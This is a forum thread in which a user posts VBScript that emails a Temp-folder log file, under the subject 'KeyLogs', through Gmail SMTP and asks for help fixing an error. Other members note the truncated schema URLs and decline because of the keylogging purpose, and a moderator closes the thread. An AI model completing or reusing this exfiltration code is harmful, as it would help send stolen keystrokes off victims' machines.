Welcome guest. Before posting on our computer help forum, you must register. Click here it's easy and free.

Author Topic: VBS The "send using" configuration value is invalid  (Read 5826 times)

0 Members and 1 Guest are viewing this topic.

zask

    Topic Starter


    Intermediate

    • Experience: Experienced
    • OS: Other
    VBS The "send using" configuration value is invalid
    « on: March 11, 2016, 06:09:34 PM »
    Hello i am trying to send a email to myself through vbs script with a file attachment using a code that i found online but i keep getting an error stating (The "send using" configuration value is invalid). Anyone can explain what im doing wrong and how to fix it?

    Option Explicit
    Dim objMessage, Email, EPass
     
    Email = "[email protected]"
    EPass = "********"
     
    Set objMessage = CreateObject("CDO.Message")
    objMessage.Subject = "KeyLogs"
    objMessage.From = Email
    objMessage.To = "[email protected]"
    objMessage.TextBody = "(Time-18:58:06.34)_(User-Jacob)"
    objMessage.AddAttachment "C:\Users\Jacob\AppData\Local\Temp\File.log"
     
    objMessage.Configuration.Fields.Item _
    ("http://schemas.microsoft.com/cdo/conf...") = 2
     
    'Name or IP of Remote SMTP Server
    objMessage.Configuration.Fields.Item _
    ("http://schemas.microsoft.com/cdo/conf...") = "smtp.gmail.com"
     
    objMessage.Configuration.Fields.Item _
    ("http://schemas.microsoft.com/cdo/conf...") = 1
     
    'Your UserID on the SMTP server
    objMessage.Configuration.Fields.Item _
    ("http://schemas.microsoft.com/cdo/conf...") = Email
     
    'Your password on the SMTP server
    objMessage.Configuration.Fields.Item _
    ("http://schemas.microsoft.com/cdo/conf...") = EPass
     
    'Server port (typically 25)
    objMessage.Configuration.Fields.Item _
    ("http://schemas.microsoft.com/cdo/conf...") = "465"
     
    'Use SSL for the connection (False or True)
    objMessage.Configuration.Fields.Item _
    ("http://schemas.microsoft.com/cdo/conf...") = True
     
    'Connection Timeout in seconds (the maximum time CDO will try to establish a connection to the SMTP server)
    objMessage.Configuration.Fields.Item _
    ("http://schemas.microsoft.com/cdo/conf...") = 60
     
    objMessage.Configuration.Fields.Update
    objMessage.Send
    Set objMessage = Nothing
     
    MsgBox "Message sent"


    Geek-9pm


      Mastermind
    • Geek After Dark
    • Thanked: 1026
      • Gekk9pm bnlog
    • Certifications: List
    • Computer: Specs
    • Experience: Expert
    • OS: Windows 10
    Re: VBS The "send using" configuration value is invalid
    « Reply #1 on: March 11, 2016, 07:42:30 PM »
    The links do not work.  :(

    zask

      Topic Starter


      Intermediate

      • Experience: Experienced
      • OS: Other
      Re: VBS The "send using" configuration value is invalid
      « Reply #2 on: March 11, 2016, 07:45:35 PM »
      Are there any links that do work, i found this online so can i have an example of some working links to replace the original links?

      BC_Programmer


        Mastermind
      • Typing is no substitute for thinking.
      • Thanked: 1140
        • Yes
        • Yes
        • BC-Programming.com
      • Certifications: List
      • Computer: Specs
      • Experience: Beginner
      • OS: Windows 11
      Re: VBS The "send using" configuration value is invalid
      « Reply #3 on: March 11, 2016, 10:46:16 PM »
      I'm not sure if the forum trimmed the Schema URLs, but it makes it impossible to know what any of the schemas being used are.

      SendUsing=2 (SMTP over network) appears to require administrator permissions.


      One can safely assume that:

      Code: [Select]
      objMessage.Subject = "KeyLogs"
      puts it outside the realm of what most people are willing to help with, anyway.
      I was trying to dereference Null Pointers before it was cool.

      patio

      • Moderator


      • Genius
      • Maud' Dib
      • Thanked: 1769
        • Yes
      • Experience: Beginner
      • OS: Windows 7
      Re: VBS The "send using" configuration value is invalid
      « Reply #4 on: March 12, 2016, 07:05:25 AM »
      Topic Closed.
      " Anyone who goes to a psychiatrist should have his head examined. "

      patio

      • Moderator


      • Genius
      • Maud' Dib
      • Thanked: 1769
        • Yes
      • Experience: Beginner
      • OS: Windows 7
      Re: VBS The "send using" configuration value is invalid
      « Reply #5 on: March 12, 2016, 07:42:48 AM »
      Zask you are already under a Forum watch....i suggest you re-visit and read the Forum Rules again.
      " Anyone who goes to a psychiatrist should have his head examined. "